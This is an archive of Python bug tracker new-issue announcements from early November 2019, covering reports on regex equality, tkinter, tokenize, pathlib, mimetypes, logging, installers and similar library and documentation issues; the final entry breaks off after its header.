From report at bugs.python.org  Fri Nov  1 02:22:35 2019
From: report at bugs.python.org (=?utf-8?b?0JHQvtGA0LjRgSDQktC10YDRhdC+0LLRgdC60LjQuQ==?=)
Date: Fri, 01 Nov 2019 06:22:35 +0000
Subject: [New-bugs-announce] [issue38660] Checking if two regexes are equal
 should test if they are functionally equivalent
Message-ID: <1572589355.53.0.484947747448.issue38660@roundup.psfhosted.org>


New submission from ????? ?????????? <boris.verk at gmail.com>:

re.compile('([-_.a-zA-Z0-9]+)') == re.compile(r'([-\w.]+)') 

should return True because those are the same regex (\w is a-z, A-Z, 0-9 and the underscore). 

If you want to check if two regexes are identical you would compare the original strings, before re.compile.

----------
components: Regular Expressions
messages: 355791
nosy: boris, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: Checking if two regexes are equal should test if they are functionally equivalent
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38660>
_______________________________________

From report at bugs.python.org  Fri Nov  1 10:32:27 2019
From: report at bugs.python.org (Jose Salvatierra)
Date: Fri, 01 Nov 2019 14:32:27 +0000
Subject: [New-bugs-announce] [issue38661] Changes to tkinter result in
 (unexpected) widget map call return changes wrt. 3.7
Message-ID: <1572618747.95.0.320564330748.issue38661@roundup.psfhosted.org>


New submission from Jose Salvatierra <jose at tecladocode.com>:

Hello!

I've encountered what might be a bug.

Up till now we had some working code that did this:

```
maps = self.style.map('TCombobox')
if maps:
    self.style.map('DateEntry', **maps)
```

Modifying a custom style to mimic the map of another. This has worked fine until Python 3.7, because the return value of `.map` is something that you can pass to `.map` as kw and it'll process it fine.

The return value of `.map` in Python 3.7 is something like this, for the `TCombobox`:

```
<class 'dict'>: {'focusfill': [('readonly', 'focus', 'SystemHighlight')], 'foreground': [('disabled', 'SystemGrayText'), ('readonly', 'focus', 'SystemHighlightText')], 'selectforeground': [('!focus', 'SystemWindowText')], 'selectbackground': [('!focus', 'SystemWindow')]}
```

Which is as you'd expect (and the docs say): a dictionary of properties to lists, where each list can contain multiple tuples describing the required state and final value of the property.

However in Python 3.8, the value returned by `.map` is this:

```
<class 'dict'>: {'focusfill': ['readonly focus', 'SystemHighlight'], 'foreground': ['disabled', 'SystemGrayText', 'readonly focus', 'SystemHighlightText'], 'selectforeground': ['!focus', 'SystemWindowText'], 'selectbackground': ['!focus', 'SystemWindow']}
```

The tuples are missing. This then causes a number of problems downstream, such as the final property values being split into the constituent letters instead of the values within each tuple.

----------
components: Tkinter, Windows
messages: 355818
nosy: jslvtr, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Changes to tkinter result in (unexpected) widget map call return changes wrt. 3.7
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38661>
_______________________________________

From report at bugs.python.org  Fri Nov  1 13:24:24 2019
From: report at bugs.python.org (Pradyun Gedam)
Date: Fri, 01 Nov 2019 17:24:24 +0000
Subject: [New-bugs-announce] [issue38662] Decouple ensurepip from pip's
 internals using runpy
Message-ID: <1572629064.24.0.519341934772.issue38662@roundup.psfhosted.org>


New submission from Pradyun Gedam <pradyunsg at gmail.com>:

Inspired by https://github.com/python/cpython/pull/16782#discussion_r335285656

This changes ensurepip's current assumption that pip would expose a "main" function, which can be invoked to run pip.

I've selected all actively supported Python versions for this ticket, since this patch should be backported to all Python versions, to make it robust to internal changes within pip.

----------
messages: 355826
nosy: Marcus.Smith, dstufft, ncoghlan, paul.moore, pradyunsg
priority: normal
severity: normal
status: open
title: Decouple ensurepip from pip's internals using runpy
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38662>
_______________________________________

From report at bugs.python.org  Fri Nov  1 13:31:35 2019
From: report at bugs.python.org (Edward K Ream)
Date: Fri, 01 Nov 2019 17:31:35 +0000
Subject: [New-bugs-announce] [issue38663] Untokenize does not round-trip ws
 before bs-nl
Message-ID: <1572629495.93.0.152221972505.issue38663@roundup.psfhosted.org>


New submission from Edward K Ream <edreamleo at gmail.com>:

Tested on 3.6.

tokenize.untokenize does not round-trip whitespace before backslash-newlines outside of strings:

from io import BytesIO
import tokenize

# Round tripping fails on the second string.
table = (
r'''
print\
    ("abc")
''',
r'''
print \
    ("abc")
''',
)
for s in table:
    tokens = list(tokenize.tokenize(
        BytesIO(s.encode('utf-8')).readline))
    result = g.toUnicode(tokenize.untokenize(tokens))
    print(result==s)

I have an important use case that would benefit from a proper untokenize. After considerable study, I have not found a proper fix for tokenize.add_whitespace.

I would be happy to work with anyone to rewrite tokenize.untokenize so that unit tests pass without fudges in TestRoundtrip.check_roundtrip.

----------
messages: 355827
nosy: edreamleo
priority: normal
severity: normal
status: open
title: Untokenize does not round-trip ws before bs-nl
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38663>
_______________________________________

From report at bugs.python.org  Fri Nov  1 13:49:13 2019
From: report at bugs.python.org (rmlibre)
Date: Fri, 01 Nov 2019 17:49:13 +0000
Subject: [New-bugs-announce] [issue38664] await execution order leads to
 throw or bad syntax
Message-ID: <1572630553.03.0.31312836907.issue38664@roundup.psfhosted.org>


New submission from rmlibre <rmlibre at riseup.net>:

If a coroutine returns a sequence, a user cannot write this clean code:

>>> await coro()[index]
Or,
>>> await coro()[slice]
Or,
>>> await coro()[key]

This raises a TypeError("'coroutine' object is not subscriptable"). To
solve this on the user side, one must add parentheses, leading to a 
convention of ugly syntax:

>>> (await coro())[...]

Or, hiding the parentesis away in a function

>>> async def index_coroutine(coro=None, index=None):
>>>     return (await coro)[index]
>>> await index_coroutine(coro(), slice(1, 5))

This is gross. It's a bug since it unnecessarily requires unpythonic 
code and throws pythonic code. My suggested patch would be to move the 
evaluation of the await statement higher up on the execution order so 
the former snippets would be valid python syntax. The await statement 
should imply parentheses when square brackets are used, since there is 
no other use case for indexing or subscripting a coroutine. This will
lead to more beautiful code.

----------
components: asyncio
messages: 355829
nosy: asvetlov, rmlibre, yselivanov
priority: normal
severity: normal
status: open
title: await execution order leads to throw or bad syntax
type: crash
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38664>
_______________________________________

From report at bugs.python.org  Fri Nov  1 13:56:46 2019
From: report at bugs.python.org (Dave Johansen)
Date: Fri, 01 Nov 2019 17:56:46 +0000
Subject: [New-bugs-announce] [issue38665] Crash when running SQLAlchemy with
 pyodbc
Message-ID: <1572631006.11.0.3731179051.issue38665@roundup.psfhosted.org>


New submission from Dave Johansen <davejohansen at gmail.com>:

We're using SQLAlchemy 1.3.10 with pyodbc 4.0.27 in the python:3.7.5-alpine docker image to connect to a MySQL 13.0.5026.0 database and it's crashing with the following error:
python: malloc.c:2406: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.

----------
messages: 355830
nosy: Dave Johansen
priority: normal
severity: normal
status: open
title: Crash when running SQLAlchemy with pyodbc
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38665>
_______________________________________

From report at bugs.python.org  Sat Nov  2 08:52:53 2019
From: report at bugs.python.org (sattari)
Date: Sat, 02 Nov 2019 12:52:53 +0000
Subject: [New-bugs-announce] [issue38666] is for tuples
Message-ID: <1572699173.61.0.959561207452.issue38666@roundup.psfhosted.org>


New submission from sattari <sattar.sattari at gmail.com>:

The following code gives different results interactive and script mode:

e = (1, 2)
f = (1, 2)
print(e is f)

----------
messages: 355867
nosy: sattari
priority: normal
severity: normal
status: open
title: is for tuples
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38666>
_______________________________________

From report at bugs.python.org  Sat Nov  2 09:14:24 2019
From: report at bugs.python.org (Christoph Reiter)
Date: Sat, 02 Nov 2019 13:14:24 +0000
Subject: [New-bugs-announce] [issue38667] PYTHONCOERCECLOCALE=0 ignored
Message-ID: <1572700464.48.0.125378742934.issue38667@roundup.psfhosted.org>


New submission from Christoph Reiter <reiter.christoph at gmail.com>:

Python 3.7.5rc1 and 3.8.0 on Ubuntu 19.10

$ LC_CTYPE=C PYTHONCOERCECLOCALE=warn python3 -c "import sys; print(sys.getfilesystemencoding())"
Python detected LC_CTYPE=C: LC_CTYPE coerced to C.UTF-8 (set another locale or PYTHONCOERCECLOCALE=0 to disable this locale coercion behavior).
utf-8

$ LC_CTYPE=C PYTHONCOERCECLOCALE=0 python3 -c "import sys; print(sys.getfilesystemencoding())"   
utf-8

The warning states that passing PYTHONCOERCECLOCALE=0 disables the coercion, but it doesn't change anything in 3.7 and 3.8.

What am I missing?

----------
messages: 355868
nosy: lazka
priority: normal
severity: normal
status: open
title: PYTHONCOERCECLOCALE=0 ignored
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38667>
_______________________________________

From report at bugs.python.org  Sat Nov  2 13:41:04 2019
From: report at bugs.python.org (Christoph Reiter)
Date: Sat, 02 Nov 2019 17:41:04 +0000
Subject: [New-bugs-announce] [issue38668] Update os.path documentation
 regarding recommended types
Message-ID: <1572716464.69.0.00560937952319.issue38668@roundup.psfhosted.org>


New submission from Christoph Reiter <reiter.christoph at gmail.com>:

At the very top of https://docs.python.org/3.9/library/os.path.html there is this section regarding str and bytes:

> The path parameters can be passed as either strings, or bytes.

They also accept path-like since Python 3.6, see https://www.python.org/dev/peps/pep-0519/ (Adding a file system path protocol). I'd add path-like to the list.

> Unfortunately, some file names may not be representable as strings on Unix, so applications that need to support arbitrary file names on Unix should use bytes objects to represent path names.

This is no longer true since Python 3.1 and https://www.python.org/dev/peps/pep-0383/ (Non-decodable Bytes in System Character Interfaces). I'd suggest to delete this.

> Vice versa, using bytes objects cannot represent all file names on Windows (in the standard mbcs encoding), hence Windows applications should use string objects to access all files.

This is no longer true since Python 3.6 and https://www.python.org/dev/peps/pep-0529/ (Change Windows filesystem encoding to UTF-8). I'd suggest to delete this as well.

----------
assignee: docs at python
components: Documentation
messages: 355878
nosy: docs at python, lazka
priority: normal
severity: normal
status: open
title: Update os.path documentation regarding recommended types
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38668>
_______________________________________

From report at bugs.python.org  Sat Nov  2 22:30:39 2019
From: report at bugs.python.org (Elena Oat)
Date: Sun, 03 Nov 2019 02:30:39 +0000
Subject: [New-bugs-announce] [issue38669] patch.object should raise another
 error when first argument is a str
Message-ID: <1572748239.52.0.218774930946.issue38669@roundup.psfhosted.org>


New submission from Elena Oat <oat.elena at gmail.com>:

When using patch.object with first argument as a string, e.g. 
??patch.object('SomeClass', 'somemethod')?? this raises ??AttributeError: Something does not have the attribute 'do_something'??. 
This should instead warn user that the correct type for the first argument is a class.

----------
components: Tests
messages: 355886
nosy: Elena.Oat
priority: normal
severity: normal
status: open
title: patch.object should raise another error when first argument is a str
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38669>
_______________________________________

From report at bugs.python.org  Sun Nov  3 03:13:12 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Sun, 03 Nov 2019 08:13:12 +0000
Subject: [New-bugs-announce] [issue38670] can we accept os.PathLike objects
 within the subprocess args= list?
Message-ID: <1572768792.96.0.63320860714.issue38670@roundup.psfhosted.org>


New submission from Gregory P. Smith <greg at krypto.org>:

We started down this path in?https://bugs.python.org/issue31961?but had to revert part of that before 3.7 as the implementation was incomplete making it inconsistent across platforms.??https://github.com/python/cpython/pull/4329.

Specifically accepting PathLike objects within the args list hasn't been ruled out...

There is at least one question about behavior though, is str() called when running on posix systems or bytes() (bytes uses fsencode)?

Or does what gets called depend on the specific sub-type of the path vs the current platform?

Example scenario: if you're processing a PureWindowsPath on a posix system and passing that to a child process, sending that through os.fsencode would presumably be the wrong choice...

----------
messages: 355890
nosy: gregory.p.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: can we accept os.PathLike objects within the subprocess args= list?
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38670>
_______________________________________

From report at bugs.python.org  Sun Nov  3 04:55:31 2019
From: report at bugs.python.org (Tzu-ping Chung)
Date: Sun, 03 Nov 2019 09:55:31 +0000
Subject: [New-bugs-announce] [issue38671] pathlib.Path.resolve(strict=False)
 returns relative path on Windows if the entry does not existent
Message-ID: <1572774931.11.0.993470333259.issue38671@roundup.psfhosted.org>


New submission from Tzu-ping Chung <uranusjr at gmail.com>:

Originally from https://discuss.python.org/t/pathlib-absolute-vs-resolve/2573/4

>>> import pathlib
>>> pathlib.Path().resolve()
WindowsPath('C:/temp')
>>> list(pathlib.Path().iterdir())
[]
>>> pathlib.Path('foo').resolve()
WindowsPath('foo')
>>> pathlib.Path('bar').touch()
>>> pathlib.Path('bar').resolve()
WindowsPath('C:/temp/bar')

----------
messages: 355892
nosy: uranusjr
priority: normal
severity: normal
status: open
title: pathlib.Path.resolve(strict=False) returns relative path on Windows if the entry does not existent
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38671>
_______________________________________

From report at bugs.python.org  Sun Nov  3 07:33:22 2019
From: report at bugs.python.org (=?utf-8?q?Micha=C5=82_Szymaniak?=)
Date: Sun, 03 Nov 2019 12:33:22 +0000
Subject: [New-bugs-announce] [issue38672] Crash on mimetypes.init() if there
 is no access to one of knownfiles
Message-ID: <1572784402.07.0.839086408394.issue38672@roundup.psfhosted.org>


New submission from Micha? Szymaniak <sc0typl at gmail.com>:

When user lacks rights to read on of the mimetypes.knownfiles, mimetypes init() will throw PermissionError and library becomes unusable.

Reproduction steps:
# mkdir -p /etc/httpd/conf/
# touch /etc/httpd/conf/mime.types
# chmod a-r /etc/httpd/conf/mime.types
$ python
>>> import mimetypes
>>> mimetypes.init()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.7/mimetypes.py", line 355, in init
    db.read(file)
  File "/usr/lib/python3.7/mimetypes.py", line 204, in read
    with open(filename, encoding='utf-8') as fp:
PermissionError: [Errno 13] Permission denied: '/etc/httpd/conf/mime.types'

----------
components: Library (Lib)
messages: 355897
nosy: Micha? Szymaniak
priority: normal
severity: normal
status: open
title: Crash on mimetypes.init() if there is no access to one of knownfiles
type: crash
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38672>
_______________________________________

From report at bugs.python.org  Sun Nov  3 11:15:35 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 03 Nov 2019 16:15:35 +0000
Subject: [New-bugs-announce] [issue38673] REPL shows continuation prompt
 (...) when comment or space entered
Message-ID: <1572797735.67.0.327959954505.issue38673@roundup.psfhosted.org>


New submission from Guido van Rossum <guido at python.org>:

This has always bothered me, and it shouldn't be necessary.

This session:

>>> #foo
... 
>>> 

should really have been

>>> #foo
>>>

It's confusing that the REPL prompt switches to "..." here, for no good reason. It should just treat the line as empty.

Ditto if you enter a space (there's an invisible space after the first prompt):

>>>  
... 
>>>

----------
components: Interpreter Core
messages: 355903
nosy: gvanrossum
priority: low
severity: normal
status: open
title: REPL shows continuation prompt (...) when comment or space entered
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38673>
_______________________________________

From report at bugs.python.org  Sun Nov  3 12:51:09 2019
From: report at bugs.python.org (Akshay Indalkar)
Date: Sun, 03 Nov 2019 17:51:09 +0000
Subject: [New-bugs-announce] [issue38674] RotatingFileHandler issue: logs in
 the file are printed in incorrect order.
Message-ID: <1572803469.31.0.999817574447.issue38674@roundup.psfhosted.org>


New submission from Akshay Indalkar <akshayindalkar1995 at gmail.com>:

I am using RotatingFileHandler library for saving the logs in the email.log file. Issue is logs are not saved in the correct order in the log file.

For Example: The latest logs are always needs to be saved in 
email.log file, then email.log.1, then email.log.2 and so on 

Correct Order:
email.log.3  ----> older than email.log.2
email.log.2  ----> older than email.log.1
email.log.1  ----> older than email.log
email.log    ----> Latest logs always saved here

But now the logs are randomly saved in the log file like
email.log.2  
email.log.1  
email.log  
email.log.3

or    
email.log.2  
email.log.3  
email.log.1  
email.log

Log are been saved randomly in incorrect order.

I have attached the evidence image also instructions to replicate.

To give you jist:
Using linux environment.
Basically I am just logging into the file every 5 seconds, and printing the files which are modified in the order.

To replicate ,just run 
python abc.py

----------
components: Library (Lib)
files: RotatingFIleHandler.zip
messages: 355905
nosy: akshay_indalkar, vinay.sajip
priority: normal
severity: normal
status: open
title: RotatingFileHandler issue: logs in the file are printed in incorrect order.
versions: Python 2.7, Python 3.6
Added file: https://bugs.python.org/file48691/RotatingFIleHandler.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38674>
_______________________________________

From report at bugs.python.org  Sun Nov  3 15:32:41 2019
From: report at bugs.python.org (David Goldsmith)
Date: Sun, 03 Nov 2019 20:32:41 +0000
Subject: [New-bugs-announce] [issue38675] Sug. for the scope example in TPT
 Cjapter 9
Message-ID: <1572813161.36.0.350406058195.issue38675@roundup.psfhosted.org>


New submission from David Goldsmith <eulergaussriemann at gmail.com>:

In The Python Tutorial, at the end of Section 9.2.1 "Scopes and Namespaces Example," there occurs the statement: "You can also see that there was no previous binding for spam before the global assignment."  Indeed, one can "virtually see" this by mentally analyzing what the code is doing--if one adequately understood the exposition given in Section 9.2--but, unless it is to be understood by an omission in the example code's output, which is a conclusion I myself am missing, that example code's output does not explicitly validate this claim...and yet, with the addition of just one line to the code, the claim can be shown explicitly: simply copy the line of code:

print("In global scope:", spam)

to precede, as well as follow (as it currently does) the line:

scope_test()

and the code output changes to:

>>> print("In global scope:", spam)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'spam' is not defined
>>> scope_test()
After local assignment: test spam
After nonlocal assignment: nonlocal spam
After global assignment: nonlocal spam
>>> print("In global scope:", spam)
In global scope: global spam  

This does _explicitly_ show that "there was no previous binding for spam before the global assignment": I respectfully suggest that this line be added to the code and that the code's quoted output be suitably updated as well.

----------
assignee: docs at python
components: Documentation
messages: 355908
nosy: David Goldsmith, docs at python
priority: normal
severity: normal
status: open
title: Sug. for the scope example in TPT Cjapter 9
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38675>
_______________________________________

From report at bugs.python.org  Sun Nov  3 17:42:12 2019
From: report at bugs.python.org (BRT)
Date: Sun, 03 Nov 2019 22:42:12 +0000
Subject: [New-bugs-announce] [issue38676] Unable to install Python 3.8 on
 Windows 10
Message-ID: <1572820932.82.0.0473031743457.issue38676@roundup.psfhosted.org>


New submission from BRT <mb_17 at hotmail.it>:

Some information:

I had the same Python version installed before, I uninstalled it (along with its launcher) using ccleaner (to install it in another path)
I tried to install Python in a new folder but got an error because another installation was going on (it wasn't another Python installation, but another program)
Now, when I try to install Python I get a message "No python 3.8 version was found" --> fatal error 0x80070643
I used the software "everything" to remove python stuff from the previous location, ccleaner to clean registry (+ msiexec /unreg and msiexec /regserver),  deleted pip folder from Appdata/Local and removed python from PATH

Log file: https://pastebin.com/wQizN9Nc

----------
components: Windows
messages: 355911
nosy: BRT, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Unable to install Python 3.8 on Windows 10
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38676>
_______________________________________

From report at bugs.python.org  Sun Nov  3 18:27:02 2019
From: report at bugs.python.org (Marco Paolini)
Date: Sun, 03 Nov 2019 23:27:02 +0000
Subject: [New-bugs-announce] [issue38677] Arraymodule initialization error
 handling improvements
Message-ID: <1572823622.93.0.752200478354.issue38677@roundup.psfhosted.org>


New submission from Marco Paolini <markopaolini at gmail.com>:

Module two-phase initialization does not report errors correctly to the import machinery

----------
components: Extension Modules
messages: 355913
nosy: mpaolini
priority: normal
severity: normal
status: open
title: Arraymodule initialization error handling improvements
type: behavior
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38677>
_______________________________________

From report at bugs.python.org  Sun Nov  3 18:31:18 2019
From: report at bugs.python.org (David Goldsmith)
Date: Sun, 03 Nov 2019 23:31:18 +0000
Subject: [New-bugs-announce] [issue38678] TypeError raised trying to run TPT
 10.3 Example 2 in Python 3.4.3
Message-ID: <1572823878.46.0.558548649113.issue38678@roundup.psfhosted.org>


New submission from David Goldsmith <eulergaussriemann at gmail.com>:

When I run the second example code of Section 10.3 of The Python Tutorial:

import argparse
from getpass import getuser
parser = argparse.ArgumentParser(description='An argparse example.')
parser.add_argument('name', nargs='?', default=getuser(), help='The name of someone to greet.')
parser.add_argument('--verbose', '-v', action='count')
args = parser.parse_args()
greeting = ["Hi", "Hello", "Greetings! its very nice to meet you"][args.verbose % 3]
print(f'{greeting}, {args.name}')
if not args.verbose:
    print('Try running this again with multiple "-v" flags!')

the greeting assignment line raises:

>>> greeting = ["Hi", "Hello", "Greetings! its very nice to meet you"][args.verbose % 3]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for %: 'NoneType' and 'int'
 
Is this an artifact of me being so far behind in my Python version:

Davids-MacBook-Air:~ DLG$ python3
Python 3.4.3 |Anaconda 2.4.0 (x86_64)| (default, Oct 20 2015, 14:27:51) 
[GCC 4.2.1 (Apple Inc. build 5577)] on darwin

Or is it a bug in the example code in the doc?

----------
assignee: docs at python
components: Documentation
messages: 355914
nosy: David Goldsmith, docs at python
priority: normal
severity: normal
status: open
title: TypeError raised trying to run TPT 10.3 Example 2 in Python 3.4.3
type: crash

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38678>
_______________________________________

From report at bugs.python.org  Sun Nov  3 20:19:50 2019
From: report at bugs.python.org (Marvin)
Date: Mon, 04 Nov 2019 01:19:50 +0000
Subject: [New-bugs-announce] [issue38679] Scipy and Scikit learn library
 installation issues
Message-ID: <1572830390.76.0.194683013325.issue38679@roundup.psfhosted.org>


New submission from Marvin <marvinmckinneyii at rocketmail.com>:

I recently uninstalled a previous version of Python 3.7.3, and installed Python 3.8.0. Prior to the update, I had no issues installing scipy, and scikit learn. However, I am unable to do this and received the error below. 


C:\Users\Marvin McKiney II>python -m pip install numpy
Requirement already satisfied: numpy in c:\users\marvin mckiney ii\appdata\local\programs\python\python38-32\lib\site-packages (1.17.3)

C:\Users\Marvin McKiney II>python -m pip install scipy
Collecting scipy
  Using cached https://files.pythonhosted.org/packages/ee/5b/5afcd1c46f97b3c2ac3489dbc95d6ca28eacf8e3634e51f495da68d97f0f/scipy-1.3.1.tar.gz
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: 'C:\Users\Marvin McKiney II\AppData\Local\Programs\Python\Python38-32\python.exe' 'C:\Users\Marvin McKiney II\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pip' install --ignore-installed --no-user --prefix 'C:\Users\Marvin McKiney II\AppData\Local\Temp\pip-build-env-wsel_5uo\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel setuptools 'Cython>=0.29.2' 'numpy==1.13.3; python_version=='"'"'3.5'"'"' and platform_system!='"'"'AIX'"'"'' 'numpy==1.13.3; python_version=='"'"'3.6'"'"' and platform_system!='"'"'AIX'"'"'' 'numpy==1.14.5; python_version>='"'"'3.7'"'"' and platform_system!='"'"'AIX'"'"'' 'numpy==1.16.0; python_version=='"'"'3.5'"'"' and platform_system=='"'"'AIX'"'"'' 'numpy==1.16.0; python_version=='"'"'3.6'"'"' and platform_system=='"'"'AIX'"'"'' 'numpy==1.16.0; python_version>='"'"'3.7'"'"' and platform_system=='"'"'AIX'"'"''
       cwd: None
  Complete output (21 lines):
  Ignoring numpy: markers 'python_version == "3.5" and platform_system != "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version == "3.6" and platform_system != "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version == "3.5" and platform_system == "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version == "3.6" and platform_system == "AIX"' don't match your environment
  Ignoring numpy: markers 'python_version >= "3.7" and platform_system == "AIX"' don't match your environment
  Collecting wheel
    Using cached https://files.pythonhosted.org/packages/00/83/b4a77d044e78ad1a45610eb88f745be2fd2c6d658f9798a15e384b7d57c9/wheel-0.33.6-py2.py3-none-any.whl
  Collecting setuptools
    Downloading https://files.pythonhosted.org/packages/d9/de/554b6310ac87c5b921bc45634b07b11394fe63bc4cb5176f5240addf18ab/setuptools-41.6.0-py2.py3-none-any.whl (582kB)
  Collecting Cython>=0.29.2
    Downloading https://files.pythonhosted.org/packages/22/03/510503cfbf20f62810a9548c9be13ab86181f00cca9a3a56717c4595d952/Cython-0.29.14-cp38-cp38-win32.whl (1.6MB)
  Collecting numpy==1.14.5
    Using cached https://files.pythonhosted.org/packages/d5/6e/f00492653d0fdf6497a181a1c1d46bbea5a2383e7faf4c8ca6d6f3d2581d/numpy-1.14.5.zip
  Installing collected packages: wheel, setuptools, Cython, numpy
      Running setup.py install for numpy: started
      Running setup.py install for numpy: still running...
      Running setup.py install for numpy: still running...
      Running setup.py install for numpy: still running...
      Running setup.py install for numpy: finished with status 'done'
  ERROR: Could not install packages due to an EnvironmentError: [WinError 123] The filename, directory name, or volume label syntax is incorrect: '"C:'

  ----------------------------------------
ERROR: Command errored out with exit status 1: 'C:\Users\Marvin McKiney II\AppData\Local\Programs\Python\Python38-32\python.exe' 'C:\Users\Marvin McKiney II\AppData\Local\Programs\Python\Python38-32\lib\site-packages\pip' install --ignore-installed --no-user --prefix 'C:\Users\Marvin McKiney II\AppData\Local\Temp\pip-build-env-wsel_5uo\overlay' --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple -- wheel setuptools 'Cython>=0.29.2' 'numpy==1.13.3; python_version=='"'"'3.5'"'"' and platform_system!='"'"'AIX'"'"'' 'numpy==1.13.3; python_version=='"'"'3.6'"'"' and platform_system!='"'"'AIX'"'"'' 'numpy==1.14.5; python_version>='"'"'3.7'"'"' and platform_system!='"'"'AIX'"'"'' 'numpy==1.16.0; python_version=='"'"'3.5'"'"' and platform_system=='"'"'AIX'"'"'' 'numpy==1.16.0; python_version=='"'"'3.6'"'"' and platform_system=='"'"'AIX'"'"'' 'numpy==1.16.0; python_version>='"'"'3.7'"'"' and platform_system=='"'"'AIX'"'"'' Check the logs for full command output.

----------
components: Library (Lib)
messages: 355916
nosy: marvinmckinneyii
priority: normal
severity: normal
status: open
title: Scipy and Scikit learn library installation issues
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38679>
_______________________________________

From report at bugs.python.org  Sun Nov  3 23:48:28 2019
From: report at bugs.python.org (123 wlpha)
Date: Mon, 04 Nov 2019 04:48:28 +0000
Subject: [New-bugs-announce] [issue38680] PyGILState_Release does not
 release gil correctly, resulting in deadlock
Message-ID: <1572842908.6.0.655870920901.issue38680@roundup.psfhosted.org>


New submission from 123 wlpha <hackjajk at gmail.com>:

PyGILState_Release does not really release gil, causing the next PyGILState_Ensure deadlock, now you need to call if (PyGILState_Check () > 0) {PyEval_SaveThread ();}


```
auto gil = PyGILState_Ensure();

// call c api

PyGILState_Release (gil);
if (PyGILState_Check () ? 0) {
   PyEval_SaveThread ();
}
    
```

----------
components: Interpreter Core
messages: 355921
nosy: 123 wlpha
priority: normal
severity: normal
status: open
title: PyGILState_Release does not release gil correctly, resulting in deadlock
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38680>
_______________________________________

From report at bugs.python.org  Mon Nov  4 02:12:47 2019
From: report at bugs.python.org (Samuel Tatasurya)
Date: Mon, 04 Nov 2019 07:12:47 +0000
Subject: [New-bugs-announce] [issue38681] 2to3 Conversion Result using
 BlankLine() can be Syntactically Incorrect
Message-ID: <1572851567.83.0.781319798867.issue38681@roundup.psfhosted.org>


New submission from Samuel Tatasurya <tatasurya.samuel at gmail.com>:

Transformation performed by certain fixers (e.g. future, itertools_imports) that causes a statement to be replaced by a blank line will generate a Python file that contains syntax error.

For example, assuming a Python file (foo.py) containing line below:

try:
    from itertools import imap
except ImportError:
    pass

If we run "itertools_imports" fixer against it:
2to3 -f itertools_imports foo.py

will result in the following:

try:

except ImportError:
    pass

which is syntactically incorrect.

Suggestion:
Instead of always replacing such case with BlankLine(), a check should be performed beforehand if the statement to be replaced has any siblings. If no sibling is found, then replace that statement with a "pass" statement instead.

By doing this, Python source files generated by 2to3 are more readily runnable right after the transformation.

----------
components: 2to3 (2.x to 3.x conversion tool)
messages: 355926
nosy: Samuel Tatasurya
priority: normal
severity: normal
status: open
title: 2to3 Conversion Result using BlankLine() can be Syntactically Incorrect
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38681>
_______________________________________

From report at bugs.python.org  Mon Nov  4 04:36:12 2019
From: report at bugs.python.org (Mithil)
Date: Mon, 04 Nov 2019 09:36:12 +0000
Subject: [New-bugs-announce] [issue38682] struct timeval is not declared
Message-ID: <1572860172.48.0.713229733746.issue38682@roundup.psfhosted.org>


